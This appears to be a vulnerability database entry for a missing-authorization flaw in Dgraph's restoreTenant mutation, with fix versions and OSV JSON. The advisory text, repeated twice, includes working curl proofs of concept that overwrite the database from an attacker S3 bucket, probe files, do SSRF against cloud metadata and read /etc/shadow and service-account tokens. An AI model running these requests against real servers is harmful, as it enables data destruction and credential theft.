CVE-2026-34976: Dgraph Pre-Auth Database Overwrite + SSRF Vulnerability

CRITICAL
Advisory Identifier: GHSA-p5rh-vmhp-gvcw
CVSS 10.0
CWE-862
Published
Advisory Summary

CVE-2026-34976 is a CRITICAL (CVSS 10.0) pre-auth database overwrite + ssrf vulnerability (CWE-862: Missing Authorization) affecting Dgraph libraries in the Go ecosystem. The issue involves pre-auth database overwrite + ssrf + file read via restoretenant missing authorization. Remediation is available by upgrading affected packages to version 25.3.1.

CVE-2026-34976 at a Glance

CVE Identifier CVE-2026-34976
GHSA Identifier GHSA-p5rh-vmhp-gvcw
Severity CRITICAL
CVSS v3.1 Base Score 10.0
CWE Classification CWE-862: Missing Authorization
Affected Product Dgraph
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34976

To remediate this vulnerability, upgrade all affected Dgraph dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/dgraph-io/dgraph/v25 fixed: 25.3.1
Upgrade github.com/dgraph-io/dgraph/v25 to 25.3.1
github.com/dgraph-io/dgraph/v24 fixed: Latest secure release
Upgrade github.com/dgraph-io/dgraph/v24 to Latest secure release
github.com/dgraph-io/dgraph fixed: Latest secure release
Upgrade github.com/dgraph-io/dgraph to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/dgraph-io/dgraph/v25

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34976, inspect your project dependencies for Dgraph:

inspect dependencies for github.com/dgraph-io/dgraph/v25

Analyze the terminal output to locate any version of Dgraph in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 25.3.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In Dgraph, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware. This mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF. ## Authentication Bypass Every admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map. When middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging. ## PoC 1: Pre-Auth Database Overwrite The attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database: # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials. curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/evil-backup\", accessKey: \"AKIAIOSFODNN7EXAMPLE\", secretKey: \"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\", anonymous: false }, fromNamespace: 0 }) { code message } }" }' # Response: {"data":{"restoreTenant":{"code":"Success","message":"Restore operation started."}}} # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace). The resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data. Note: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys: mutation { restoreTenant(input: { restoreInput: { location: "s3://public-attacker-bucket/evil-backup", anonymous: true }, fromNamespace: 0 }) { code message } } ## Live PoC Results (Dgraph v24.x Docker) Tested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison: # restore (HAS middleware) -> BLOCKED $ curl ... '{"query": "mutation { restore(...) { code } }"}' {"errors":[{"message":"resolving restore failed because unauthorized ip address: 172.25.0.1"}]} # restoreTenant (MISSING middleware) -> AUTH BYPASSED $ curl ... '{"query": "mutation { restoreTenant(...) { code } }"}' {"errors":[{"message":"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID"}]} The `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic. Filesystem enumeration also confirmed with distinct error messages: - `/etc/` (exists): "No backups with the specified backup ID" (directory scanned) - `/nonexistent/` (doesn't exist): "The uri path doesn't exists" (path doesn't exist) - `/tmp/` (exists, empty): "No backups with the specified backup ID" (directory scanned) ## PoC 2: Local Filesystem Probe via file:// Scheme curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"file:///etc/\" }, fromNamespace: 0 }) { code message } }" }' # Error response reveals whether /etc/ exists and its structure. # backup_handler.go:130-132 creates a fileHandler for file:// URIs. # fileHandler.ListPaths at line 161-166 walks the local filesystem. # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path)) ## PoC 3: SSRF via S3 Endpoint curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://169.254.169.254/latest/meta-data/\" }, fromNamespace: 0 }) { code message } }" }' # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint. # Error response may leak cloud metadata information. ## PoC 4: Vault SSRF + Server File Path Read curl -X POST http://dgraph-alpha:8080/admin \ -H "Content-Type: application/json" \ -d '{ "query": "mutation { restoreTenant(input: { restoreInput: { location: \"s3://attacker-bucket/backup\", accessKey: \"AKIA...\", secretKey: \"...\", vaultAddr: \"http://internal-service:8080\", vaultRoleIDFile: \"/var/run/secrets/kubernetes.io/serviceaccount/token\", vaultSecretIDFile: \"/etc/passwd\", encryptionKeyFile: \"/etc/shadow\" }, fromNamespace: 0 }) { code message } }" }' # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080 # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag ## Fix Add `restoreTenant` to `adminMutationMWConfig`: "restoreTenant": gogMutMWs, Koda Reef

CVE-2026-34976 Affected Dgraph Versions

3 component(s)
Fixed Versions:
25.3.1
Product / Package Ecosystem Affected Versions Fixed Version
github.com/dgraph-io/dgraph/v25
Go
< 25.3.1
25.3.1
github.com/dgraph-io/dgraph/v24
Go
≤ 24.0.5
github.com/dgraph-io/dgraph
Go
≤ 1.2.8

References

Frequently Asked Questions

What is CVE-2026-34976?
CVE-2026-34976 is a security vulnerability in Dgraph involving Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization under CWE-862: Missing Authorization.
Which Dgraph versions are affected?
Affected versions include releases prior to 25.3.1 across affected packages: github.com/dgraph-io/dgraph/v25, github.com/dgraph-io/dgraph/v24, github.com/dgraph-io/dgraph.
What version fixes CVE-2026-34976?
Upgrading to 25.3.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/dgraph-io/dgraph/v25 affected?
Yes, github.com/dgraph-io/dgraph/v25 is affected in releases prior to 25.3.1. Upgrade your dependency to 25.3.1 or later.
Is github.com/dgraph-io/dgraph/v24 affected?
Yes, github.com/dgraph-io/dgraph/v24 is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-34976?
CVE-2026-34976 has a CVSS v3.1 base score of 10.0 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-34976?
CVE-2026-34976 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check Go dependencies for CVE-2026-34976?
Run the dependency tree command: 'inspect dependencies for github.com/dgraph-io/dgraph/v25'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-p5rh-vmhp-gvcw",
  "modified" : "2026-04-06T23:26:01Z",
  "published" : "2026-04-02T20:44:36Z",
  "aliases" : [ "CVE-2026-34976" ],
  "summary" : "Dgraph: Pre-Auth Database Overwrite + SSRF + File Read via restoreTenant Missing Authorization",
  "details" : "The `restoreTenant` admin mutation is missing from the authorization middleware config (`admin.go:499-522`), making it completely unauthenticated. Unlike the similar `restore` mutation which requires Guardian-of-Galaxy authentication, `restoreTenant` executes with zero middleware.\n\nThis mutation accepts attacker-controlled backup source URLs (including `file://` for local filesystem access), S3/MinIO credentials, encryption key file paths, and Vault credential file paths. An unauthenticated attacker can overwrite the entire database, read server-side files, and perform SSRF.\n\n## Authentication Bypass\n\nEvery admin mutation has middleware configured in `adminMutationMWConfig` (`admin.go:499-522`) EXCEPT `restoreTenant`. The `restore` mutation has `gogMutMWs` (Guardian of Galaxy auth + IP whitelist + logging). `restoreTenant` is absent from the map.\n\nWhen middleware is looked up at `resolve/resolver.go:431`, the map returns nil. The `Then()` method at `resolve/middlewares.go:98` checks `len(mws) == 0` and returns the resolver directly, skipping all authentication, authorization, IP whitelisting, and audit logging.\n\n## PoC 1: Pre-Auth Database Overwrite\n\nThe attacker hosts a crafted Dgraph backup on their own S3 bucket, then triggers a restore that overwrites the target namespace's entire database:\n\n    # No authentication headers needed. No X-Dgraph-AuthToken, no JWT, no Guardian credentials.\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/evil-backup\\\", accessKey: \\\"AKIAIOSFODNN7EXAMPLE\\\", secretKey: \\\"wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\\\", anonymous: false }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Response: {\"data\":{\"restoreTenant\":{\"code\":\"Success\",\"message\":\"Restore operation started.\"}}}\n    # The server fetches the attacker's backup from S3 and overwrites namespace 0 (root namespace).\n\nThe resolver at `admin/restore.go:54-74` passes `location`, `accessKey`, `secretKey` directly to `worker.ProcessRestoreRequest`. The worker at `online_restore.go:98-106` connects to the attacker's S3 bucket and restores the malicious backup, overwriting all data.\n\nNote: the `anonymous: true` flag (`minioclient.go:108-113`) creates an S3 client with NO credentials, allowing the attacker to host the malicious backup on a **public S3 bucket** without providing any AWS keys:\n\n    mutation { restoreTenant(input: {\n      restoreInput: { location: \"s3://public-attacker-bucket/evil-backup\", anonymous: true },\n      fromNamespace: 0\n    }) { code message } }\n\n## Live PoC Results (Dgraph v24.x Docker)\n\nTested against `dgraph/dgraph:latest` in Docker. Side-by-side comparison:\n\n    # restore (HAS middleware) -> BLOCKED\n    $ curl ... '{\"query\": \"mutation { restore(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restore failed because unauthorized ip address: 172.25.0.1\"}]}\n\n    # restoreTenant (MISSING middleware) -> AUTH BYPASSED\n    $ curl ... '{\"query\": \"mutation { restoreTenant(...) { code } }\"}'\n    {\"errors\":[{\"message\":\"resolving restoreTenant failed because failed to verify backup: No backups with the specified backup ID\"}]}\n\nThe `restore` mutation is blocked by the IP whitelist middleware. The `restoreTenant` mutation bypasses all middleware and reaches the backup verification logic.\n\nFilesystem enumeration also confirmed with distinct error messages:\n- `/etc/` (exists): \"No backups with the specified backup ID\" (directory scanned)\n- `/nonexistent/` (doesn't exist): \"The uri path doesn't exists\" (path doesn't exist)\n- `/tmp/` (exists, empty): \"No backups with the specified backup ID\" (directory scanned)\n\n## PoC 2: Local Filesystem Probe via file:// Scheme\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"file:///etc/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # Error response reveals whether /etc/ exists and its structure.\n    # backup_handler.go:130-132 creates a fileHandler for file:// URIs.\n    # fileHandler.ListPaths at line 161-166 walks the local filesystem.\n    # fileHandler.Read at line 153 reads files: os.ReadFile(h.JoinPath(path))\n\n## PoC 3: SSRF via S3 Endpoint\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://169.254.169.254/latest/meta-data/\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # The Minio client at backup_handler.go:257 connects to 169.254.169.254 as an S3 endpoint.\n    # Error response may leak cloud metadata information.\n\n## PoC 4: Vault SSRF + Server File Path Read\n\n    curl -X POST http://dgraph-alpha:8080/admin \\\n      -H \"Content-Type: application/json\" \\\n      -d '{\n        \"query\": \"mutation { restoreTenant(input: { restoreInput: { location: \\\"s3://attacker-bucket/backup\\\", accessKey: \\\"AKIA...\\\", secretKey: \\\"...\\\", vaultAddr: \\\"http://internal-service:8080\\\", vaultRoleIDFile: \\\"/var/run/secrets/kubernetes.io/serviceaccount/token\\\", vaultSecretIDFile: \\\"/etc/passwd\\\", encryptionKeyFile: \\\"/etc/shadow\\\" }, fromNamespace: 0 }) { code message } }\"\n      }'\n\n    # vaultAddr at online_restore.go:484 triggers SSRF to internal-service:8080\n    # vaultRoleIDFile at online_restore.go:478-479 reads the K8s SA token from disk\n    # encryptionKeyFile at online_restore.go:475 reads /etc/shadow via BuildEncFlag\n\n## Fix\n\nAdd `restoreTenant` to `adminMutationMWConfig`:\n\n    \"restoreTenant\": gogMutMWs,\n\nKoda Reef",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph/v25"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "25.3.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 25.3.0"
    }
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph/v24"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "24.0.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/dgraph-io/dgraph"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.2.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-p5rh-vmhp-gvcw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34976"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/commit/b15c87e9353e36618bf8e0df3bd945c0ce7105ef"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/dgraph-io/dgraph"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-02T20:44:36Z",
    "nvd_published_at" : "2026-04-06T17:17:11Z"
  }
}